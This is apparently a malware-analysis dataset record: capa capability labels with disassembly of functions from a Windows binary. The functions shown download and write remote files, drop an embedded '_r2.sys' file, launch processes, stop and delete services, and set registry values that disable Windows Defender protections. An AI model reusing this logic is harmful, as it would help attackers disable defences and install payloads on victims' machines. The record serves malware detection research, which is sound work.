joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400043e0
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
mov eax, 0x1060
call fcn.140035fc0
sub rsp, rax
mov rax, qword [0x1400ba580]
xor rax, rsp
mov qword [rsp + 0x1050], rax
xor ebx, ebx
mov rbp, rdx
mov rdi, rcx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
lea rcx, str.Downloader
xor r8d, r8d
lea r14d, [rbx + 1]
mov edx, r14d
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rsi, rax
test rax, rax
jne 0x14000445d
lea rdx, str.Failed_to_initialize_Internet_connection.
lea rcx, [0x1400bcd80]
call fcn.140002838
mov rcx, rax
call fcn.140003254
xor al, al
jmp 0x140004586
mov qword [rsp + 0x28], rbx
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 0x80000000
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rdi, rax
test rax, rax
jne 0x1400044aa
lea rdx, str.Failed_to_open_URL.
lea rcx, [0x1400bcd80]
call fcn.140002838
mov rcx, rax
call fcn.140003254
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x140004456
mov qword [rsp + 0x30], rbx
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbp, rax
cmp rax, 0xffffffffffffffff
jne 0x140004529
lea rdx, str.Failed_to_create_local_file.
lea rcx, [0x1400bcd80]
call fcn.140002838
mov rcx, rax
call fcn.140003254
jmp 0x140004572
mov r8d, dword [rsp + 0x40]
test r8d, r8d
je 0x140004566
lea r9, [rsp + 0x44]
mov qword [rsp + 0x20], rbx
lea rdx, [rsp + 0x50]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x140004548
mov eax, dword [rsp + 0x44]
cmp dword [rsp + 0x40], eax
jne 0x140004548
lea r9, [rsp + 0x40]
mov r8d, 0x1000
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400044f9
jmp 0x140004566
lea rdx, str.Failed_to_write_data_to_local_file.
lea rcx, [0x1400bcd80]
call fcn.140002838
mov rcx, rax
call fcn.140003254
mov r14b, bl
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov bl, r14b
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov al, bl
mov rcx, qword [rsp + 0x1050]
xor rcx, rsp
call fcn.140035e10
lea r11, [rsp + 0x1060]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x1400045b0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xd0
mov rax, qword [0x1400ba580]
xor rax, rsp
mov qword [rbp + 0x4f], rax
xor edi, edi
mov dword [rbp - 0x35], edi
mov dword [rbp - 0x29], edi
call fcn.140002de0
mov qword [rbp - 0x21], rax
lea rdx, [rbp - 0x29]
lea rcx, [rbp + 0x2f]
call fcn.140005a20
mov dword [rbp - 0x35], 1
lea rdx, [rbp - 0x29]
cmp dword [rbp - 0x29], edi
jne 0x1400047e8
lea rax, [rbp + 0x2f]
lea ebx, [rdi + 7]
cmp qword [rbp + 0x47], rbx
cmova rax, qword [rbp + 0x2f]
mov qword [rbp - 0x29], rax
mov rax, qword [rbp + 0x3f]
mov qword [rbp - 0x21], rax
movaps xmm0, xmmword [rbp - 0x29]
movdqa xmmword [rbp - 0x29], xmm0
lea r8, [rbp - 0x39]
lea rcx, [rbp + 0xf]
call fcn.140002c78
mov dword [rbp - 0x35], ebx
mov r8d, ebx
lea rdx, str._r2.sys
lea rcx, [rbp + 0xf]
call fcn.1400058b4
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x11], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 1], xmm1
lea r8d, [rdi + 0x20]
mov rdx, rax
lea rcx, [rbp - 0x11]
call fcn.14005f6d0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], dil
lea rcx, [rbp - 0x11]
cmp qword [rbp + 7], 0xf
cmova rcx, qword [rbp - 0x11]
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
mov rdx, qword [rbp + 7]
cmp rdx, 0xf
jbe 0x1400046f2
inc rdx
mov rcx, qword [rbp - 0x11]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400046ed
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400047f5
call fcn.140035d74
movdqa xmm0, xmmword [0x1400651d0]
movdqu xmmword [rbp - 1], xmm0
mov byte [rbp - 0x11], dil
mov rdx, qword [rbp + 0x27]
cmp rdx, 0xf
jbe 0x140004746
inc rdx
mov rcx, qword [rbp + 0xf]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004739
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400047e2
call fcn.140035d74
movdqa xmm0, xmmword [0x1400651d0]
movdqu xmmword [rbp + 0x1f], xmm0
mov byte [rbp + 0xf], dil
lea rcx, [rbp + 0x2f]
call fcn.140002504
cmp rbx, 0xffffffffffffffff
je 0x1400047bf
mov dword [rbp - 0x31], edi
mov dword [rbp - 0x19], edi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rbp - 0x19]
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
test eax, eax
je 0x1400047b6
mov qword [rsp + 0x20], rdi
lea r9, [rbp - 0x31]
mov r8d, 0x7e48
lea rdx, section..data
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1400047b6
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rbp - 0x31], 0x7e48
sete dil
mov eax, edi
jmp 0x1400047c1
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.140035e10
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
call fcn.14003bd24
nop
lea rcx, str.current_path__
call fcn.140005450
nop
call fcn.14003bd24
int3
Function at 0x1400047fc
Capabilities:
Create process on windows

Disassembly:
sub rsp, 0x38
mov r8, rcx
mov dword [rsp + 0x28], 1
and qword [rsp + 0x20], 0
lea rdx, str.open
xor ecx, ecx
xor r9d, r9d
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
add rsp, 0x38
ret

Function at 0x140004828
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x270
mov rax, qword [0x1400ba580]
xor rax, rsp
mov qword [rsp + 0x260], rax
mov rsi, rdx
xor ebx, ebx
xor edx, edx
lea ecx, [rbx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400048d9
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x238
mov rcx, rax
call sub.KERNEL32.dll_Process32FirstW
jmp 0x14000490d
lea rcx, [rsp + 0x4c]
or rax, 0xffffffffffffffff
inc rax
cmp word [rcx + rax*2], bx
jne 0x140004887
cmp qword [rsi + 0x18], 7
mov r8, rsi
mov rcx, qword [rsi + 0x10]
jbe 0x1400048a1
mov r8, qword [rsi]
cmp rcx, rax
jne 0x140004900
lea rdx, [rsp + 0x4c]
test rcx, rcx
je 0x1400048cc
lea rax, [rsp + 0x4c]
sub r8, rax
movzx eax, word [r8 + rdx]
cmp ax, word [rdx]
jne 0x140004900
add rdx, 2
sub rcx, 1
jne 0x1400048b8
mov ebx, dword [rsp + 0x28]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.140035e10
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
lea rdx, [rsp + 0x20]
mov rcx, rdi
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x14000487e
jmp 0x1400048d0
Function at 0x140004918
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x190]
sub rsp, 0x290
mov rax, qword [0x1400ba580]
xor rax, rsp
mov qword [rbp + 0x180], rax
cmp qword [rcx + 0x18], 0xf
mov rdx, rcx
jbe 0x140004950
mov rdx, qword [rcx]
mov r8, qword [rcx + 0x10]
add r8, rdx
cmp qword [rcx + 0x18], 0xf
jbe 0x140004961
mov rcx, qword [rcx]
xor edi, edi
xorps xmm0, xmm0
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], rdi
movups xmmword [rsp + 0x20], xmm0
cmp rcx, r8
jne 0x14000498a
mov qword [rsp + 0x38], 7
mov word [rsp + 0x20], di
jmp 0x14000499d
mov r9, r8
mov rdx, rcx
sub r9, rcx
lea rcx, [rsp + 0x20]
call fcn.140002b68
xor edx, edx
lea rcx, [rsp + 0x44]
mov r8d, 0x234
call fcn.14005fd70
xor edx, edx
mov dword [rsp + 0x40], 0x238
lea ecx, [rdx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea rdx, [rsp + 0x40]
mov rcx, rax
mov rbx, rax
call sub.KERNEL32.dll_Process32FirstW
jmp 0x1400049ff
cmp qword [rsp + 0x38], 7
lea rcx, [rsp + 0x20]
lea rdx, [rsp + 0x6c]
cmova rcx, qword [rsp + 0x20]
call fcn.14003bd9c
mov rcx, rbx
test eax, eax
je 0x140004a6e
lea rdx, [rsp + 0x40]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x1400049d3
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rsp + 0x38]
cmp rdx, 7
jbe 0x140004a4a
mov rcx, qword [rsp + 0x20]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004a45
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004aba
call fcn.140035d74
mov rcx, qword [rbp + 0x180]
xor rcx, rsp
call fcn.140035e10
lea r11, [rsp + 0x290]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rsp + 0x38]
mov ebx, dword [rsp + 0x48]
cmp rdx, 7
jbe 0x140004ab6
mov rcx, qword [rsp + 0x20]
lea rdx, [rdx*2 + 2]
mov r8, rcx
cmp rdx, 0x1000
jb 0x140004ab1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub r8, rcx
add r8, 0xfffffffffffffff8
cmp r8, 0x1f
ja 0x140004aba
call fcn.140035d74
mov eax, ebx
jmp 0x140004a4a
call fcn.14003bd24
int3
Function at 0x140004e84
Capabilities:
Start service

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
xor edx, edx
mov rbx, rcx
xor ecx, ecx
lea r8d, [rdx + 2]
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
xor edi, edi
mov qword [rbx], rax
test rax, rax
jne 0x140004ead
xor al, al
jmp 0x140004f02
mov r8d, 0xf01ff
lea rdx, [0x140064bd0]
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov qword [rbx + 8], rax
test rax, rax
jne 0x140004ed7
mov rcx, qword [rbx]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x140004ea9
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
je 0x140004eec
mov dil, 1
mov rcx, qword [rbx]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, qword [rbx + 8]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov al, dil
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x140004f10
Capabilities:
Delete service
Stop service

Disassembly:
push rbx
sub rsp, 0x50
mov rax, qword [0x1400ba580]
xor rax, rsp
mov qword [rsp + 0x40], rax
xor edx, edx
mov rbx, rcx
xor ecx, ecx
lea r8d, [rdx + 2]
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov qword [rbx], rax
test rax, rax
je 0x140004fb1
mov r8d, 0xf01ff
lea rdx, [0x140064bd0]
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov qword [rbx + 8], rax
test rax, rax
jne 0x140004f62
mov rcx, qword [rbx]
jmp 0x140004fab
lea r8, [rsp + 0x20]
mov edx, 1
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x140004f9e
mov rcx, qword [rbx + 8]
call qword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
je 0x140004f9e
mov rcx, qword [rbx]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, qword [rbx + 8]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov al, 1
jmp 0x140004fb3
mov rcx, qword [rbx]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, qword [rbx + 8]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor al, al
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140035e10
add rsp, 0x50
pop rbx
ret
Function at 0x1400062c4
Capabilities:
Get token membership

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x1400ba580]
xor rax, rsp
mov qword [rbp - 8], rax
xor ebx, ebx
mov word [rbp - 0xc], 0x500
lea rax, [rbp - 0x18]
mov dword [rbp - 0x20], ebx
mov qword [rsp + 0x50], rax
lea rcx, [rbp - 0x10]
mov dword [rsp + 0x48], ebx
mov r9d, 0x220
mov dword [rsp + 0x40], ebx
lea r8d, [rbx + 0x20]
mov dword [rsp + 0x38], ebx
mov dl, 2
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
mov dword [rbp - 0x10], ebx
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
jne 0x14000632f
xor al, al
jmp 0x14000635b
mov rdx, qword [rbp - 0x18]
lea r8, [rbp - 0x20]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov rcx, qword [rbp - 0x18]
test eax, eax
jne 0x14000634f
call qword [sym.imp.ADVAPI32.dll_FreeSid]
jmp 0x14000632b
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rbp - 0x20], ebx
setne al
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140035e10
mov rbx, qword [rsp + 0x90]
add rsp, 0x80
pop rbp
ret
Function at 0x1400067e8
Capabilities:
Disable windows defender features via registry on windows
Set registry value

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov dword [rbp + 0x10], 1
call fcn.1400062c4
test al, al
jne 0x140006828
lea rdx, str.please_run_this_program_as_administrator.
lea rcx, [0x1400bcb20]
call fcn.1400025e4
mov rcx, rax
call fcn.14000321c
or eax, 0xffffffff
jmp 0x140006985
lea rax, [rbp + 0x20]
mov r9d, 0xf003f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_Defender
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000697e
mov rcx, qword [rbp + 0x20]
lea ebx, [rax + 4]
lea rax, [rbp + 0x10]
mov dword [rsp + 0x28], ebx
mov r9d, ebx
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.DisableAntiSpyware
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
and qword [rsp + 0x40], 0
lea rax, [rbp + 0x18]
mov rcx, qword [rbp + 0x20]
lea rdx, str.Real_Time_Protection
mov qword [rsp + 0x38], rax
xor r9d, r9d
and qword [rsp + 0x30], 0
xor r8d, r8d
mov dword [rsp + 0x28], 0xf003f
and dword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov rcx, qword [rbp + 0x18]
lea rax, [rbp + 0x10]
mov dword [rsp + 0x28], ebx
lea rdx, str.DisableRealtimeMonitoring
mov r9d, ebx
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x18]
lea rax, [rbp + 0x10]
mov dword [rsp + 0x28], ebx
lea rdx, str.DisableBehaviorMonitoring
mov r9d, ebx
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x18]
lea rax, [rbp + 0x10]
mov dword [rsp + 0x28], ebx
lea rdx, str.DisableScanOnRealtimeEnable
mov r9d, ebx
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x18]
lea rax, [rbp + 0x10]
mov dword [rsp + 0x28], ebx
lea rdx, str.DisableOnAccessProtection
mov r9d, ebx
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x18]
lea rax, [rbp + 0x10]
mov dword [rsp + 0x28], ebx
lea rdx, str.DisableIOAVProtection
mov r9d, ebx
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp + 0x18]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.14003c138
xor eax, eax
mov rbx, qword [rsp + 0x78]
add rsp, 0x50
pop rbp
ret
Function at 0x14000c35c
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x14000c396
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x14000c39b
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x14000c3e4
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x140065740]
cmp byte [rcx + rax], 0
je 0x14000c3e4
dec r8
sub rdx, 1
jne 0x14000c3ca
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x14000e4f4
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rdi, rcx
test r8, r8
jg 0x14000e522
xor eax, eax
jmp 0x14000e608
cmp qword [rcx + 0x68], 0
je 0x14000e533
call fcn.14000a1d8
jmp 0x14000e608
mov rax, qword [rcx + 0x38]
mov rsi, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x14000e54a
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x14000e54c
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x14000e57e
cmp rax, rbp
mov rbx, rbp
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call fcn.14005f6d0
mov rax, qword [rdi + 0x50]
add r14, rbx
sub rsi, rbx
sub dword [rax], ebx
mov rcx, qword [rdi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rdi + 0x80], 0
je 0x14000e602
mov r8, qword [rdi + 0x18]
lea rax, [rdi + 0x70]
cmp qword [r8], rax
jne 0x14000e5b5
mov rcx, qword [rdi + 0x88]
mov rdx, qword [rdi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rdi + 0x38]
mov qword [rax], rcx
mov rax, qword [rdi + 0x50]
mov dword [rax], edx
mov ebx, 0xfff
jmp 0x14000e5de
mov r9, qword [rdi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call fcn.1400420a8
add r14, rax
sub rsi, rax
cmp rax, rbx
jne 0x14000e602
cmp rsi, rbx
ja 0x14000e5bc
test rsi, rsi
je 0x14000e602
mov r9, qword [rdi + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.1400420a8
sub rsi, rax
sub rbp, rsi
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret

Function at 0x14002af4c
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
lea r9, [rdx + rdx]
movabs r8, 0xcbf29ce484222325
xor edx, edx
test r9, r9
je 0x14001678e
movzx eax, byte [rcx + rdx]
movabs r10, 0x100000001b3
xor r8, rax
inc rdx
imul r8, r10
cmp rdx, r9
jb 0x140016771
mov rax, r8
ret
sub r8, rdx
mov rcx, rdx
sar r8, 1
mov rdx, r8
jmp 0x14001675c
Function at 0x14002af60
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
lea r9, [rdx + rdx]
movabs r8, 0xcbf29ce484222325
xor edx, edx
test r9, r9
je 0x1400167c6
movzx eax, byte [rcx + rdx]
movabs r10, 0x100000001b3
xor r8, rax
inc rdx
imul r8, r10
cmp rdx, r9
jb 0x1400167a9
mov rax, r8
ret
sub r8, rdx
mov rcx, rdx
sar r8, 1
mov rdx, r8
jmp 0x140016794

Function at 0x14003559c
Capabilities:
Get geographical location

Disassembly:
sub rsp, 0x28
call fcn.140040d48
mov rcx, qword [rax + 0x28]
test rcx, rcx
je 0x1400355ee
and dword [rsp + 0x30], 0
lea r8, [rsp + 0x30]
mov r9d, 2
lea edx, [r9 + 0x20]
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
movzx ecx, word [rsp + 0x30]
sub ecx, 0x30
je 0x1400355ee
sub ecx, 1
je 0x1400355e7
cmp ecx, 1
je 0x1400355e0
xor eax, eax
jmp 0x1400355f3
mov eax, 3
jmp 0x1400355f3
mov eax, 1
jmp 0x1400355f3
mov eax, 2
add rsp, 0x28
ret

Function at 0x140036bec
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140036c36
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140036c36
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140036c36
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140036c36
cmp dword [rcx + 0x84], 0xe
jbe 0x140036c36
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140036c38
xor al, al
add rsp, 0x28
ret

Function at 0x140049db0
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140049e1f
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140049e1f
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140049e1f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140049e1f
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140049e1f
cmp dword [rcx + 0x84], 0xe
jbe 0x140049e1f
cmp dword [rcx + 0xf8], 0
je 0x140049e1f
mov ecx, ebx
call fcn.140049ec4
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140049cb8
nop
cmp dword [rbp + 0x20], 0
jne 0x140049e80
call fcn.140055ab4
cmp eax, 1
jne 0x140049e70
xor dl, dl
jmp 0x140049e7a
call fcn.140055a80
test al, al
sete dl
cmp dword [rbp + 0x20], 0
je 0x140049e8b
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140049e94
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x140049db0

Function at 0x140049f98
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140049db0
Function at 0x14004df38
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov rax, qword [0x1400c4050]
mov ebx, r9d
mov rdi, r8
mov esi, edx
mov rbp, rcx
cmp rax, 0xffffffffffffffff
je 0x14004df9d
test rax, rax
jne 0x14004df8b
lea r9, [0x14006b4f0]
lea r8, [0x14006b4e8]
lea rdx, [0x14006b4f0]
lea ecx, [rax + 0xa]
call fcn.14004da80
test rax, rax
je 0x14004df9d
mov r9d, ebx
mov r8, rdi
mov edx, esi
mov rcx, rbp
call fcn.14005f690
jmp 0x14004dfb7
xor edx, edx
mov rcx, rbp
call fcn.14004e2e0
mov ecx, eax
mov r9d, ebx
mov r8, rdi
mov edx, esi
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x14005399c
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.140035fc0
sub rsp, rax
mov rax, qword [0x1400ba580]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.14004e934
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x1400539eb
mov rax, rbp
jmp 0x140053af7
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0xbde10]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.140054d4c
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0xbde10]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x140053af3
mov dword [rsp + 0x30], edi
lea r9, [rsp + 0x30]
mov rcx, qword [rcx + r12*8 + 0x28]
lea rdx, [rsp + 0x40]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140053af3
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.140054d4c
test rax, rax
js 0x140053af3
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x140053af3
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x140053ae5
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x140053ae5
cmp byte [rcx], 0xd
jne 0x140053acb
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x140053ada
cmp byte [rcx + 1], 0xa
jne 0x140053ada
inc rcx
jmp 0x140053ada
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0xba9c0]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x140053aad
